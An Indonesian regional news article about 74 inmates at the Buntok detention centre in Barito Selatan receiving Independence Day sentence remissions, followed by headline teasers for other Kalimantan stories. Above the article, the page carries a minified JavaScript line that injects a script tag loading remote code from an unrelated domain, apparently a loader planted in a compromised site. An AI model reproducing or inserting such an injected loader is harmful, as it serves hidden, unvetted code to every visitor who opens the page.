(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, HUT Kemerdekaan RI ke-73 menjadi berkah bagi warga binaan di Rutan Kelas II B Buntok Kabupaten Barito Selatan (Barsel). Sebanyak 74 napi dapat pengurangan masa tahanan (remisi) hari kemerdekaan.
Kepala Rutan Buntok Mastur Rahman menerangkan, surat keputusan dari pihak Kementrian Hukum dan Hak Asasi Manusia RI, tentang pemberian remisi terhadap warga binaan Rutan Buntok tersebut, diserahkan langsung oleh Bupati Barsel H Eddy Raya Samsuri kepada yang bersangkutan.
Mastur mengatakan, keseluruhan warga binaan Rutan Buntok saat ini berjumlah 162 orang. Akan tetapi yang bisa mendapat remisi hanya 74 orang dan 5 di antaranya langsung mendapatkan kebebasan.
“Kami memberikan remisi kepada 74 orang narapidana warga binaan Rutan Kelas IIB Buntok saat ini berdasarkan dari hasil penilaian para petugas Lapas. Dimana, para napi tersebut telah memenuhi persyaratan sesuai subtansinya untuk memperbaiki diri,†katanya, Jumat (17/8).
Ia mengatakan, pemberian remisi atau pengampunan berupa pengurangan masa tehanan kepada para narapidaha, merupakan bentuk penghargaan terhadap hak asasi manusia. Karena para narapidana adalah bagian yang tidak mungkin terpisahkan dari warga negara Indonesia.
“Yang mana selam ini kita telah memberikan pembinaan kepada seluruh warga binaan Rutan Buntok, dan besar harapan kita kiranya setelah bebas nanti bisa menjalani hidup lebih baik lagi,†ujar Mastur.
Ditambahkan olehnya kepada sejumlah narapidana yang mendapat remisi tersebut, kiranya bisa lebih meningkatakan kedisiplinan dan menguatkan tekat agar terus berusaha untuk memparbaiki perilakunya selama menjalani hukuman atas kesalahan sebelumnya.
“Kita menyadari bahwa kodrat manusia tidak luput dari salah dan kehilapan. Akan tetapi, dengan adanya akal sehat yang di berikan Tuhan kepada kita sebagai manusia. Tentu dapat memilah dan memilih langkah agar yang tidak bertentangan dengan hukum yang berlaku di negara kita,†tandas Mastur sekaligus mengakhiri.(digdo)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.